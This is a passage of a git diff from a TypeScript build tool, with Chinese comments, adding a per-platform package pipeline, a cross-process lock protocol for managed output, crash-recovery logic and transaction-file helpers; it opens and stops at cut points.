流水线。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { BuildMode, ConfigCommand } from '../contracts/config.js'; +import type { CanonicalProject } from '../contracts/components.js'; +import type { MergedPackageSnapshot, PackageUnitSnapshot } from '../contracts/packages.js'; +import { CompilerHost } from '../compiler/compiler-service.js'; +import { collectDistributionPackages } from '../package/distributions.js'; +import { withPackageCandidate, materializePackageUnits, validatePackageUnits } from '../package/candidate-materializer.js'; +import { + createBasePackage, + finalizePrimaryPackage, + mergePackageContributions, + type OwnedPackageContribution, +} from '../package/registry.js'; +import { + collectExtensionContributions, + type BuiltExtensionState, + type ExtensionConsumerPlan, +} from '../resources/extensions.js'; +import { + nodeRuntimeContribution, + platformSupportsNodeRuntime, + type BuiltNodeRuntime, +} from '../resources/runtime/provider.js'; +import { AssetRegistry } from '../services/assets.js'; +import { DiagnosticRegistry } from '../services/diagnostics.js'; +import { WorkDirectoryRegistry } from '../services/work-directories.js'; +import { + platformConsumesFailedExtension, + platformHasErrors, + runPlatformStage, + type ExtensionPlanBuildStatus, + type PlatformRuntime, +} from './integration-sessions.js'; + +/** 单 Platform 完成全部候选校验后的不可变结果。 */ +export interface PlatformPipelineResult { + readonly platform: PlatformRuntime; + readonly merged: MergedPackageSnapshot; + readonly units: readonly PackageUnitSnapshot[]; +} + +/** 向单个选中 Platform 授予 canonical auxiliary 和 Public AssetRef。 */ +function grantProjectAssets(project: CanonicalProject, platform: string, assets: AssetRegistry): void { + /** grantee 与 Platform Session 的 owner identity 完全一致。 */ + const grantee = `platform:${platform}`; + for (const skill of project.skills) { + for (const auxiliary of skill.auxiliaryFiles) + assets.grant('framework:canonical', grantee, auxiliary.asset); + } + for (const file of project.publicFiles) + assets.grant('framework:public', grantee, file.asset); +} + +/** Framework Resource 对当前 Platform 的 add-only Contributions。 */ +function frameworkContributions( + project: CanonicalProject, + runtime: BuiltNodeRuntime | undefined, + platform: PlatformRuntime['description'], + assets: AssetRegistry, +): readonly OwnedPackageContribution[] { + /** Public 与 Runtime 使用独立 owner,保持来源、冲突和 report 可审计。 */ + const contributions: OwnedPackageContribution[] = []; + if (project.publicFiles.length > 0) { + contributions.push(Object.freeze({ + owner: 'framework:public', + contribution: Object.freeze({ + assets: Object.freeze(project.publicFiles.map(file => Object.freeze({ path: file.path, asset: file.asset }))), + compatibility: Object.freeze([]), + }), + })); + } + if (project.runtime !== undefined) { + /** 支持 Platform 获得相同 GeneratedAssetRef 的显式继承 grant。 */ + if (runtime !== undefined && platformSupportsNodeRuntime(platform)) { + for (const entry of runtime.entries) { + assets.grant('framework:node-runtime', `platform:${platform.id}`, entry.main); + if (entry.licenses !== undefined) + assets.grant('framework:node-runtime', `platform:${platform.id}`, entry.licenses); + } + } + contributions.push(Object.freeze({ + owner: 'framework:node-runtime', + contribution: nodeRuntimeContribution(project.runtime, runtime, platform), + })); + } + return Object.freeze(contributions); +} + +/** 物化并调用 Platform validator,保持两种失败阶段互相独立。 */ +async function validatePlatformCandidate(options: { + readonly platform: PlatformRuntime; + readonly unit: PackageUnitSnapshot; + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly assets: AssetRegistry; + readonly workDirectories: WorkDirectoryRegistry; + readonly diagnostics: DiagnosticRegistry; +}): Promise { + /** id 同时绑定 candidate 临时目录、诊断 owner 和 Platform Session。 */ + const id = options.platform.description.id; + /** 每个平台的 candidate 只能位于其 Core-owned workDir。 */ + const temporaryParent = options.workDirectories.physicalRoot( + `platform:${id}`, + await options.workDirectories.directory(`platform:${id}`), + ); + /** 外层只捕获 candidate materialize、post-validate integrity 与 cleanup failure。 */ + const materialization = await runPlatformStage( + options.diagnostics, + 'materialize', + 'PACKAGE_CANDIDATE_MATERIALIZATION_FAILED', + `Platform "${id}" Package "${options.unit.id}" candidate materialization failed.`, + id, + async () => { + /** validatorSucceeded 让 validator failure 不必冒充 materialization exception。 */ + let validatorSucceeded = true; + await withPackageCandidate(options.unit, options.assets, async (candidate) => { + /** validation 只收敛 Platform callback,本地候选完整性仍交给外层。 */ + const validation = await runPlatformStage( + options.diagnostics, + 'platform-validate', + 'PLATFORM_VALIDATE_PACKAGE_FAILED', + `Platform "${id}" Package "${options.unit.id}" validation failed.`, + id, + () => options.platform.session.validatePackage(Object.freeze({ + command: options.command, + mode: options.mode, + candidate, + diagnostics: options.diagnostics.service('platform-validate', { owner: `platform:${id}`, platform: id }), + })), + ); + /** Platform 自己报告 error 而未 throw 时也必须阻止当前 Unit 成功。 */ + validatorSucceeded = validation.ok && !platformHasErrors(options.diagnostics, id); + }, temporaryParent); + return validatorSucceeded; + }, + ); + return materialization.ok && materialization.value && !platformHasErrors(options.diagnostics, id); +} + +/** 在独立临时根复核全部 Unit 的 aggregate materialization closure。 */ +export async function validateCompleteMaterialization( + units: readonly PackageUnitSnapshot[], + assets: AssetRegistry, + workRoot: string, +): Promise { + /** complete candidate 使用当前 BuildSession workRoot 下的独立临时根。 */ + const root = await fs.mkdtemp(path.join(workRoot, 'complete-')); + try { + /** materialized 索引用于复核 aggregate Unit closure。 */ + const materialized = await materializePackageUnits(root, units, assets); + await validatePackageUnits(root, units, materialized); + } finally { + await fs.rm(root, { recursive: true, force: true }); + } +} + +/** + * 执行单个 Platform 的固定 Package 流水线。 + * + * 调用方仍唯一拥有跨 Platform 并发、Compatibility 汇总和事务边界。 + */ +export async function runPlatformPipeline(options: { + readonly platform: PlatformRuntime; + readonly project: CanonicalProject; + readonly runtime: BuiltNodeRuntime | undefined; + readonly plans: readonly ExtensionConsumerPlan[]; + readonly built: readonly BuiltExtensionState[]; + readonly planBuilds: readonly ExtensionPlanBuildStatus[]; + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly compiler: CompilerHost; + readonly assets: AssetRegistry; + readonly workDirectories: WorkDirectoryRegistry; + readonly diagnostics: DiagnosticRegistry; +}): Promise { + /** id 同时绑定 Context owner、诊断和最终 Package namespace。 */ + const id = options.platform.description.id; + /** 工程级错误由调用方统一阻断;本函数只隔离当前 Platform 和依赖 Extension。 */ + if (platformHasErrors(options.diagnostics, id) + || platformConsumesFailedExtension(id, options.planBuilds)) + return undefined; + + /** createPackage 与 base snapshot validation 属于 package 阶段。 */ + const created = await runPlatformStage( + options.diagnostics, + 'package', + 'PLATFORM_CREATE_PACKAGE_FAILED', + `Platform "${id}" createPackage failed.`, + id, + async () => { + grantProjectAssets(options.project, id, options.assets); + return createBasePackage(id, await options.platform.session.createPackage(Object.freeze({ + command: options.command, + mode: options.mode, + project: options.project, + compiler: await options.compiler.service(`platform:${id}`), + assets: options.assets.service(`platform:${id}`), + diagnostics: options.diagnostics.service('package', { owner: `platform:${id}`, platform: id }), + })), options.assets); + }, + ); + if (!created.ok || platformHasErrors(options.diagnostics, id)) + return undefined; + + /** Contributor collection、Framework contribution 与集中 merge 共用 contribute 边界。 */ + const contributed = await runPlatformStage( + options.diagnostics, + 'contribute', + 'PLATFORM_CONTRIBUTION_FAILED', + `Platform "${id}" Package contribution failed.`, + id, + async () => { + /** Extension Contribution 全部读取 created.value 的同一对象身份。 */ + const extensionContributions = await collectExtensionContributions({ + platform: options.platform.description, + base: created.value, + project: options.project, + command: options.command, + mode: options.mode, + plans: options.plans, + built: options.built, + assets: options.assets, + diagnostics: options.diagnostics, + }); + return mergePackageContributions(id, created.value, [ + ...frameworkContributions(options.project, options.runtime, options.platform.description, options.assets), + ...extensionContributions, + ], options.assets); + }, + ); + if (!contributed.ok || platformHasErrors(options.diagnostics, id)) + return undefined; + + /** Platform finalization 只确定主 Package 身份并追加 Platform Asset。 */ + const finalized = await runPlatformStage( + options.diagnostics, + 'finalize', + 'PLATFORM_FINALIZE_PACKAGE_FAILED', + `Platform "${id}" primary Package finalization failed.`, + id, + async () => finalizePrimaryPackage(id, options.platform.resolved.definition.deliveryType, contributed.value, + await options.platform.session.finalizePackage(Object.freeze({ + command: options.command, + mode: options.mode, + project: options.project, + package: contributed.value, + compiler: await options.compiler.service(`platform:${id}`), + assets: options.assets.service(`platform:${id}`), + diagnostics: options.diagnostics.service('finalize', { owner: `platform:${id}`, platform: id }), + })), options.assets), + ); + if (!finalized.ok || platformHasErrors(options.diagnostics, id)) + return undefined; + if (!await validatePlatformCandidate({ + platform: options.platform, + unit: finalized.value, + command: options.command, + mode: options.mode, + assets: options.assets, + workDirectories: options.workDirectories, + diagnostics: options.diagnostics, + })) + return undefined; + + /** Distribution creation 是从已验证 primary 派生的 finalization 子阶段。 */ + const distributions = await runPlatformStage( + options.diagnostics, + 'finalize', + 'PLATFORM_FINALIZE_PACKAGE_FAILED', + `Platform "${id}" Distribution finalization failed.`, + id, + async () => options.platform.session.createDistributions === undefined + ? Object.freeze([]) + : collectDistributionPackages({ + platform: id, + primary: finalized.value, + assets: options.assets, + /** create callback 不暴露 Registry,只委托当前 Platform Session。 */ + create: scopedAssets => Promise.resolve(options.platform.session.createDistributions!(Object.freeze({ + command: options.command, + mode: options.mode, + project: options.project, + primary: finalized.value, + assets: scopedAssets, + diagnostics: options.diagnostics.service('finalize', { owner: `platform:${id}`, platform: id }), + }))), + }), + ); + if (!distributions.ok || platformHasErrors(options.diagnostics, id)) + return undefined; + for (const distribution of distributions.value) { + if (!await validatePlatformCandidate({ + platform: options.platform, + unit: distribution, + command: options.command, + mode: options.mode, + assets: options.assets, + workDirectories: options.workDirectories, + diagnostics: options.diagnostics, + })) + return undefined; + } + return Object.freeze({ + platform: options.platform, + merged: contributed.value, + units: Object.freeze([finalized.value, ...distributions.value]), + }); +} diff --git a/packages/core/src/kernel/build-session-scope.ts b/packages/core/src/lifecycle/session-scope.ts similarity index 100% rename from packages/core/src/kernel/build-session-scope.ts rename to packages/core/src/lifecycle/session-scope.ts diff --git a/packages/core/src/output/lock.ts b/packages/core/src/output/lock.ts new file mode 100644 index 0000000..87bc9a8 --- /dev/null +++ b/packages/core/src/output/lock.ts @@ -0,0 +1,429 @@ +/** 受管输出的跨进程锁协议。 */ +import { randomUUID } from 'node:crypto'; +import { promises as fs } from 'node:fs'; +import type { BigIntStats } from 'node:fs'; +import type { FileHandle } from 'node:fs/promises'; +import path from 'node:path'; +import { compareCodePoints } from '../security/path-policy.js'; + +/** 独占锁完整发布后才允许出现的 owner record。 */ +interface ManagedOutputLockRecord { + readonly schemaVersion: 3; + readonly pid: number; + readonly token: string; +} +/** 读取锁时同时保留精确字节,供无 CAS 删除前复核。 */ +interface ManagedOutputLockObservation { + readonly bytes: string; + readonly metadata: ManagedOutputLockMetadata; + readonly record?: ManagedOutputLockRecord; +} + +/** 路径观察的稳定 inode 与内容 metadata。 */ +interface ManagedOutputLockMetadata { + readonly device: bigint; + readonly inode: bigint; + readonly mode: bigint; + readonly size: bigint; + readonly modified: bigint; + readonly changed: bigint; + readonly created: bigint; +} + +/** 锁路径元数据操作使用的唯一、可精确清理 guard。 */ +interface ManagedOutputLockGuard { + readonly path: string; + readonly pid: number; + readonly token: string; +} + +/** 当前进程仍实际持有的 token;清理失败后的同 PID record 不再视为活锁。 */ +const ACTIVE_LOCK_TOKENS = new Set(); + +/** 当前进程正在发布或持有的 lock-metadata guard token。 */ +const ACTIVE_LOCK_GUARD_TOKENS = new Set(); + +/** randomUUID 的稳定小写文本形态,避免任意 lock 内容进入 owner 判断。 */ +const LOCK_TOKEN = /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u; + +/** 旧 create→write malformed lock 在隔离前必须保持不变的有界观察窗口。 */ +const LEGACY_LOCK_STABILITY_DELAY_MS = 25; + +/** 关闭当前调用独占的 handle;瞬时失败时再尝试一次,避免泄漏描述符。 */ +async function closeOwnedFile(handle: FileHandle): Promise { + try { + await handle.close(); + } catch (firstError) { + try { + await handle.close(); + } catch { + throw firstError; + } + } +} + +/** 删除永不复用或由 metadata guard 保护的自有路径;瞬时失败时安全重试。 */ +async function removeOwnedPath(file: string): Promise { + try { + await fs.rm(file, { force: true }); + } catch (firstError) { + try { + await fs.rm(file, { force: true }); + } catch { + throw firstError; + } + } +} + +/** 从 bigint lstat 提取锁恢复需要比较的稳定 metadata。 */ +function managedOutputLockMetadata(stat: BigIntStats): ManagedOutputLockMetadata { + return Object.freeze({ + device: stat.dev, + inode: stat.ino, + mode: stat.mode, + size: stat.size, + modified: stat.mtimeNs, + changed: stat.ctimeNs, + created: stat.birthtimeNs, + }); +} + +/** @returns 两次路径观察是否仍指向同一份未变化内容。 */ +function sameManagedOutputLockMetadata( + left: ManagedOutputLockMetadata, + right: ManagedOutputLockMetadata, +): boolean { + return left.device === right.device && left.inode === right.inode && left.mode === right.mode + && left.size === right.size && left.modified === right.modified && left.changed === right.changed + && left.created === right.created; +} + +/** @returns rename 后的路径是否仍是首次观察的同一个 inode。 */ +function sameManagedOutputLockInode( + left: ManagedOutputLockMetadata, + right: ManagedOutputLockMetadata, +): boolean { + return left.device === right.device && left.inode === right.inode && left.created === right.created; +} + +/** 读取一个完整锁记录;旧版或截断内容作为可隔离的 malformed observation。 */ +async function readManagedOutputLock(file: string): Promise { + /** 锁绝不能借助 symlink 或特殊文件影响同级输出。 */ + const pathBefore = await fs.lstat(file, { bigint: true }); + if (pathBefore.isSymbolicLink() || !pathBefore.isFile()) + throw new Error('Managed output lock must be a regular file.'); + /** FileHandle 把 metadata 与字节绑定到同一 inode,避免 path read 的替换竞态。 */ + const handle = await fs.open(file, 'r'); + /** handle 读取的精确锁字节。 */ + let bytes: string; + /** handle 读取完成后的稳定 metadata。 */ + let metadata: ManagedOutputLockMetadata; + try { + /** open 前后的 inode 必须仍与首次 lstat 一致,且不能变成特殊文件。 */ + const before = await handle.stat({ bigint: true }); + if (!before.isFile() + || !sameManagedOutputLockMetadata(managedOutputLockMetadata(pathBefore), managedOutputLockMetadata(before))) + throw new Error('Managed output lock changed while it was being observed.'); + /** 精确原始字节用于隔离时确认没有搬走另一个 writer 的新记录。 */ + bytes = await handle.readFile({ encoding: 'utf8' }); + /** handle 与当前路径在读取后必须仍指向同一份未变化内容。 */ + const after = await handle.stat({ bigint: true }); + /** 当前路径的最终 metadata 用于确认没有 replacement。 */ + const pathAfter = await fs.lstat(file, { bigint: true }); + metadata = managedOutputLockMetadata(after); + if (!sameManagedOutputLockMetadata(managedOutputLockMetadata(before), metadata) + || !sameManagedOutputLockMetadata(metadata, managedOutputLockMetadata(pathAfter))) + throw new Error('Managed output lock changed while it was being observed.'); + } finally { + await closeOwnedFile(handle); + } + try { + /** 未验证 JSON 只在当前函数局部存在。 */ + const value: unknown = JSON.parse(bytes); + if (typeof value !== 'object' || value === null || Array.isArray(value)) + return Object.freeze({ bytes, metadata }); + /** schema 3 只允许 pid/token/schemaVersion 三个固定字段。 */ + const record = value as Record; + if (Object.keys(record).sort(compareCodePoints).join(',') !== 'pid,schemaVersion,token' + || record.schemaVersion !== 3 || !Number.isSafeInteger(record.pid) || Number(record.pid) <= 0 + || typeof record.token !== 'string' || !LOCK_TOKEN.test(record.token)) { + return Object.freeze({ bytes, metadata }); + } + return Object.freeze({ + bytes, + metadata, + record: Object.freeze({ schemaVersion: 3, pid: Number(record.pid), token: record.token }), + }); + } catch { + return Object.freeze({ bytes, metadata }); + } +} + +/** @returns 已验证 PID 是否仍对应一个可见进程。 */ +function processIsAlive(pid: number): boolean { + try { + process.kill(pid, 0); + return true; + } catch (error) { + /** EPERM 同样证明进程存在,只是当前调用者无权发送信号。 */ + return (error as NodeJS.ErrnoException).code !== 'ESRCH'; + } +} + +/** 从 lock sibling 名称读取唯一 guard 的 PID、token 和发布状态。 */ +function parseManagedOutputLockGuard( + lockFile: string, + name: string, +): (ManagedOutputLockGuard & { readonly draft: boolean }) | undefined { + /** guard 名称只匹配当前 outDir 的精确 lock basename。 */ + const prefix = `${path.basename(lockFile)}.guard.`; + if (!name.startsWith(prefix)) + return undefined; + /** writing 后缀表示完整 record 尚未原子发布。 */ + const draft = name.endsWith('.writing'); + /** 剩余部分固定为 pid.token,UUID 不包含点号。 */ + const identity = name.slice(prefix.length, draft ? -'.writing'.length : undefined); + /** 第一个点号稳定分隔十进制 PID 与 UUID token。 */ + const separator = identity.indexOf('.'); + if (separator <= 0) + return undefined; + /** PID 来自名称即可在部分 draft 上判断 owner 是否仍存活。 */ + const pidText = identity.slice(0, separator); + /** token 使路径永不被另一个正常调用复用。 */ + const token = identity.slice(separator + 1); + /** 数值 PID 必须保持在 JavaScript 精确整数范围内。 */ + const pid = Number(pidText); + if (!/^[1-9][0-9]*$/u.test(pidText) || !Number.isSafeInteger(pid) || pid <= 0 || !LOCK_TOKEN.test(token)) + return undefined; + /** 绝对 guard 路径只由受管 lock 同级名称组合。 */ + const guardPath = path.join(path.dirname(lockFile), name); + return Object.freeze({ path: guardPath, pid, token, draft }); +} + +/** 发布一个唯一 guard;并发调用互不覆盖,进程崩溃后路径仍可精确回收。 */ +async function publishManagedOutputLockGuard(lockFile: string): Promise { + /** 名称中的 PID/token 允许在 draft 尚不完整时判断 owner。 */ + const pid = process.pid; + /** 每个 guard 路径在所有正常调用间永久唯一。 */ + const token = randomUUID(); + /** 最终 guard record 只在完整写入后通过 hard link 出现。 */ + const finalPath = `${lockFile}.guard.${pid}.${token}`; + /** 同级唯一 draft 不参与互斥,owner identity 已在文件名中。 */ + const draftPath = `${finalPath}.writing`; + ACTIVE_LOCK_GUARD_TOKENS.add(token); + try { + /** draft 从创建起保持私有普通文件。 */ + const handle = await fs.open(draftPath, 'wx', 0o600); + try { + await handle.writeFile(`${JSON.stringify({ schemaVersion: 3, pid, token })}\n`); + await handle.sync(); + } finally { + await closeOwnedFile(handle); + } + /** 唯一 final path 仍使用 no-replace 发布,避免任何路径覆盖。 */ + await fs.link(draftPath, finalPath); + await removeOwnedPath(draftPath); + return Object.freeze({ path: finalPath, pid, token }); + } catch (error) { + /** 发布失败只清理当前唯一 identity 的两个路径。 */ + await removeOwnedPath(finalPath).catch(() => undefined); + await removeOwnedPath(draftPath).catch(() => undefined); + ACTIVE_LOCK_GUARD_TOKENS.delete(token); + throw error; + } +} + +/** @returns guard 是否仍由一个实际存活的调用持有或发布。 */ +function managedOutputLockGuardIsLive(guard: ManagedOutputLockGuard): boolean { + if (guard.pid === process.pid) + return ACTIVE_LOCK_GUARD_TOKENS.has(guard.token); + return processIsAlive(guard.pid); +} + +/** 精确释放当前唯一 guard,失败残留由下一次扫描按同一路径回收。 */ +async function releaseManagedOutputLockGuard(guard: ManagedOutputLockGuard): Promise { + try { + await removeOwnedPath(guard.path); + } finally { + ACTIVE_LOCK_GUARD_TOKENS.delete(guard.token); + } +} + +/** + * 获取 lock path 元数据互斥权。 + * + * 每个竞争者先发布自己的唯一 intent,再扫描所有 intent;晚到者一定能看到仍在 + * 临界区内的早到者。竞争同时发生时允许双方短暂退避,但绝不允许双方进入。 + */ +async function acquireManagedOutputLockGuard(lockFile: string): Promise { + for (let attempt = 0; attempt < 8; attempt += 1) { + /** 当前 attempt 使用全新 identity,旧 attempt 路径不会被复用。 */ + const own = await publishManagedOutputLockGuard(lockFile); + /** 是否存在另一个仍在发布或持有的 guard。 */ + let conflict = false; + try { + /** 目录快照足以建立互斥:任何快照后的新 guard 都必须看到 own。 */ + const names = (await fs.readdir(path.dirname(lockFile))).sort(compareCodePoints); + for (const name of names) { + /** 非当前 lock 的普通 sibling 与 transaction helper 不参与 guard 协议。 */ + const candidate = parseManagedOutputLockGuard(lockFile, name); + if (candidate === undefined || (!candidate.draft && candidate.path === own.path)) + continue; + if (managedOutputLockGuardIsLive(candidate)) { + conflict = true; + continue; + } + /** 唯一 PID/token 路径永不复用,因此 stale cleanup 不会删除新 guard。 */ + await removeOwnedPath(candidate.path); + } + if (!conflict) + return own; + } catch (error) { + await releaseManagedOutputLockGuard(own).catch(() => undefined); + throw error; + } + await releaseManagedOutputLockGuard(own); + /** 小幅有界退避避免两个同时到达的调用持续同步冲突。 */ + await new Promise(resolve => setTimeout(resolve, attempt + 1)); + } + throw new Error('Managed output lock metadata is locked by another process.'); +} + +/** 确认 guard 内的 lock record 与首次观察完全一致。 */ +async function assertManagedOutputLockUnchanged( + file: string, + observation: ManagedOutputLockObservation, +): Promise { + if (observation.record === undefined) { + /** 旧 writer 可能先创建空文件再写 record,给其一个固定且有界的完成窗口。 */ + await new Promise(resolve => setTimeout(resolve, LEGACY_LOCK_STABILITY_DELAY_MS)); + } + /** 第二次完整读取是 malformed/stale recovery 的有界 unchanged-record check。 */ + const current = await readManagedOutputLock(file); + if (current.bytes !== observation.bytes + || !sameManagedOutputLockMetadata(current.metadata, observation.metadata)) + throw new Error('Managed output lock changed during stale recovery.'); +} + +/** + * 原子隔离当前精确观察到的 stale/malformed lock。 + * + * rename 后只删除字节仍匹配的 inode;若竞争者替换了记录则尽力恢复并失败关闭。 + */ +async function quarantineManagedOutputLock( + file: string, + observation: ManagedOutputLockObservation, +): Promise { + /** rename 前在 metadata guard 内完成第二次完整 unchanged-record check。 */ + await assertManagedOutputLockUnchanged(file, observation); + /** 唯一同级 quarantine 避免并发 cleaner 覆盖彼此。 */ + const quarantine = `${file}.${randomUUID()}.stale`; + try { + await fs.rename(file, quarantine); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') + return; + throw error; + } + try { + /** random token 使合法 writer replacement 不可能与旧 observation 字节相同。 */ + const moved = await readManagedOutputLock(quarantine); + if (moved.bytes !== observation.bytes + || !sameManagedOutputLockInode(moved.metadata, observation.metadata)) { + try { + await fs.link(quarantine, file); + } catch { + /** 另一个 writer 已占用最终 lock 时不能覆盖它。 */ + } + throw new Error('Managed output lock changed during stale recovery.'); + } + } finally { + await removeOwnedPath(quarantine); + } +} + +/** 把完整 owner record 通过 hard-link no-replace 原子发布为最终锁。 */ +async function publishManagedOutputLock(file: string): Promise { + /** token 同时区分同 PID 的当前 holder 与 cleanup 失败残留。 */ + const token = randomUUID(); + /** 同目录唯一草稿保证 hard-link 发布不跨文件系统。 */ + const draft = `${file}.${token}.writing`; + /** 草稿从创建起就是私有普通文件。 */ + const handle = await fs.open(draft, 'wx', 0o600); + try { + try { + await handle.writeFile(`${JSON.stringify({ schemaVersion: 3, pid: process.pid, token })}\n`); + await handle.sync(); + } finally { + await closeOwnedFile(handle); + } + /** final path 要么不存在并完整出现,要么保持既有 writer 不变。 */ + await fs.link(draft, file); + } finally { + await removeOwnedPath(draft); + } + return token; +} + +/** 只释放仍由当前 holder token 标识的最终锁。 */ +async function removeManagedOutputLockRecord(file: string, token: string): Promise { + /** 删除前重新读取最终锁,避免移除另一个 writer 已替换的记录。 */ + const observation = await readManagedOutputLock(file); + if (observation.record?.pid !== process.pid || observation.record.token !== token) + throw new Error('Managed output lock ownership changed before release.'); + await removeOwnedPath(file); +} + +/** 创建独占锁;完整 stale/malformed 状态隔离后允许有限重试。 */ +export async function acquireManagedOutputLock(lockPath: string): Promise { + for (let attempt = 0; attempt < 4; attempt += 1) { + /** 所有 fixed lock path 读取、发布和恢复都在唯一 guard 内串行化。 */ + const guard = await acquireManagedOutputLockGuard(lockPath); + try { + try { + /** hard-link publication 是多个 acplugin 进程间的原子事务互斥点。 */ + const token = await publishManagedOutputLock(lockPath); + ACTIVE_LOCK_TOKENS.add(token); + return token; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'EEXIST') + throw error; + } + try { + /** final lock 从出现起就应当是完整 schema 3 record。 */ + const observation = await readManagedOutputLock(lockPath); + /** 当前进程仍登记的 token 和任何其他存活 PID 都是活 writer。 */ + const live = observation.record !== undefined + && ((observation.record.pid === process.pid && ACTIVE_LOCK_TOKENS.has(observation.record.token)) + || (observation.record.pid !== process.pid && processIsAlive(observation.record.pid))); + if (live) + throw new Error(`Managed output is locked by process ${observation.record!.pid}.`); + /** 新协议不会发布 malformed record;旧 create→write 残留经复核后隔离。 */ + await quarantineManagedOutputLock(lockPath, observation); + } catch (lockError) { + if ((lockError as NodeJS.ErrnoException).code === 'ENOENT') + continue; + throw new Error(`Managed output is locked. ${String(lockError)}`, { cause: lockError }); + } + } finally { + await releaseManagedOutputLockGuard(guard).catch(() => undefined); + } + } + throw new Error('Managed output lock could not be acquired after stale recovery.'); +} + +/** 在 metadata guard 内释放当前 holder,并撤销当前进程的 active token。 */ +export async function releaseManagedOutputLock(lockPath: string, token: string): Promise { + try { + /** release 必须与 stale recovery/new publication 使用同一 metadata guard。 */ + const guard = await acquireManagedOutputLockGuard(lockPath); + try { + await removeManagedOutputLockRecord(lockPath, token); + } finally { + await releaseManagedOutputLockGuard(guard); + } + } finally { + /** 清理失败后的同 PID record 在下一轮应被识别为 stale。 */ + ACTIVE_LOCK_TOKENS.delete(token); + } +} diff --git a/packages/core/src/output/recovery.ts b/packages/core/src/output/recovery.ts new file mode 100644 index 0000000..b44eab8 --- /dev/null +++ b/packages/core/src/output/recovery.ts @@ -0,0 +1,80 @@ +/** 受管输出在持锁状态下的崩溃恢复。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { validatePhysicalEntry } from '../security/path-policy.js'; +import { + exists, + readTransactionMarker, + type ManagedOutputPaths, +} from './transaction-files.js'; + +/** + * 恢复或清理上一次事务留下的确定状态。 + * + * 调用方必须已经持有 `paths.lock`,本函数不负责锁生命周期。 + */ +export async function recoverManagedOutput( + paths: ManagedOutputPaths, + projectRoot: string, +): Promise { + /** pending 与 committed marker 共同消除 swap 后崩溃的恢复歧义。 */ + const pendingRecord = await readTransactionMarker(paths.transaction, paths.base); + /** committed marker 必须与 pending record 描述同一个事务。 */ + const committedRecord = await readTransactionMarker(paths.committed, paths.base); + if (pendingRecord !== undefined && committedRecord !== undefined + && JSON.stringify(pendingRecord) !== JSON.stringify(committedRecord)) { + throw new Error('Managed output transaction markers do not match.'); + } + /** 上次事务遗留 backup 的普通目录边界。 */ + const hasBackup = await exists(paths.backup); + if (hasBackup) { + /** backup 只能是同级普通目录,绝不能恢复一个符号链接。 */ + const backupStat = await fs.lstat(paths.backup); + if (backupStat.isSymbolicLink() || !backupStat.isDirectory()) + throw new Error('Managed output backup must be a regular directory.'); + } + if (committedRecord !== undefined) { + /** cleanup 已完成的事务保留新输出;异常缺失时回退到仍完整的旧 backup。 */ + if (!await exists(paths.resolved) && hasBackup) + await fs.rename(paths.backup, paths.resolved); + else if (hasBackup) + await fs.rm(paths.backup, { recursive: true, force: true }); + } else if (pendingRecord !== undefined) { + /** 未提交事务必须恢复调用前状态。 */ + if (pendingRecord.hadOutput) { + if (hasBackup) { + if (await exists(paths.resolved)) + await fs.rm(paths.resolved, { recursive: true, force: true }); + await fs.rename(paths.backup, paths.resolved); + } else if (!await exists(paths.resolved)) { + throw new Error('Managed output rollback record lost both output and backup.'); + } + } else { + if (hasBackup) + throw new Error('Managed output rollback record has an unexpected backup.'); + if (await exists(paths.resolved)) + await fs.rm(paths.resolved, { recursive: true, force: true }); + } + } else if (hasBackup) { + /** 无 marker 的 backup 只可能来自已提交事务的最后清理窗口。 */ + if (!await exists(paths.resolved)) + await fs.rename(paths.backup, paths.resolved); + else + await fs.rm(paths.backup, { recursive: true, force: true }); + } + /** recovery 后的正式输出必须仍位于工程内且无 symlink 祖先。 */ + if (await exists(paths.resolved)) + await validatePhysicalEntry(path.resolve(projectRoot), paths.resolved, 'directory'); + if (pendingRecord !== undefined) + await fs.rm(paths.transaction, { force: true }); + if (committedRecord !== undefined) + await fs.rm(paths.committed, { force: true }); + /** 未原子发布的 marker 草稿没有恢复权威,统一在锁内清理。 */ + await fs.rm(paths.transactionWriting, { force: true }); + await fs.rm(paths.committedWriting, { force: true }); + /** 只清理当前 outDir 专属前缀的旧 stage。 */ + for (const entry of await fs.readdir(paths.parent, { withFileTypes: true })) { + if (entry.name.startsWith(paths.stagePrefix)) + await fs.rm(path.join(paths.parent, entry.name), { recursive: true, force: true }); + } +} diff --git a/packages/core/src/output/transaction-files.ts b/packages/core/src/output/transaction-files.ts new file mode 100644 index 0000000..1f84bf1 --- /dev/null +++ b/packages/core/src/output/transaction-files.ts @@ -0,0 +1,405 @@ +/** 受管输出的稳定路径、marker 与 preserved Platform 文件协议。 */ +import { createHash } from 'node:crypto'; +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { PackageUnitSnapshot } from '../contracts/packages.js'; +import { + compareCodePoints, + isInsidePath, + sourceCollisionKey, +} from '../security/path-policy.js'; +import { scanPhysicalTree } from '../package/candidate-materializer.js'; + +/** 完整构建替换所有输出;显式 subset 只替换所选 Platform。 */ +export type ManagedOutputScope = { + readonly type: 'full'; +} | { + readonly type: 'subset'; + readonly platforms: readonly string[]; +}; + +/** 既有未选 Platform 中一个普通文件的稳定快照。 */ +interface PreservedFile { + readonly path: string; + readonly bytes: Uint8Array; + readonly mode: 0o644 | 0o755; + readonly size: number; + readonly sha256: string; +} +/** 一个未选 Platform 的完整旧输出快照。 */ +export interface PreservedPlatform { + readonly id: string; + readonly directories: readonly string[]; + readonly files: readonly PreservedFile[]; +} + +/** 崩溃恢复所需的最小 rollback record。 */ +export interface TransactionRecord { + readonly schemaVersion: 2; + readonly outDir: string; + readonly scope: ManagedOutputScope['type']; + readonly hadOutput: boolean; +} + +/** 未完成 marker 只允许存在于这个固定、可恢复的临时后缀。 */ +export const MARKER_WRITING_SUFFIX = '.writing'; + +/** Platform 和 Unit ID 使用的稳定 lowercase-kebab 规则。 */ +const STABLE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + +/** @returns 路径是否存在;ENOENT 以外错误仍按不存在处理到后续操作。 */ +export async function exists(candidate: string): Promise { + try { + await fs.access(candidate); + return true; + } catch { + return false; + } +} + +/** + * 持久写入一个不含物理路径的事务 marker。 + * + * @param file 同一受管输出专属的 marker 路径。 + * @param record 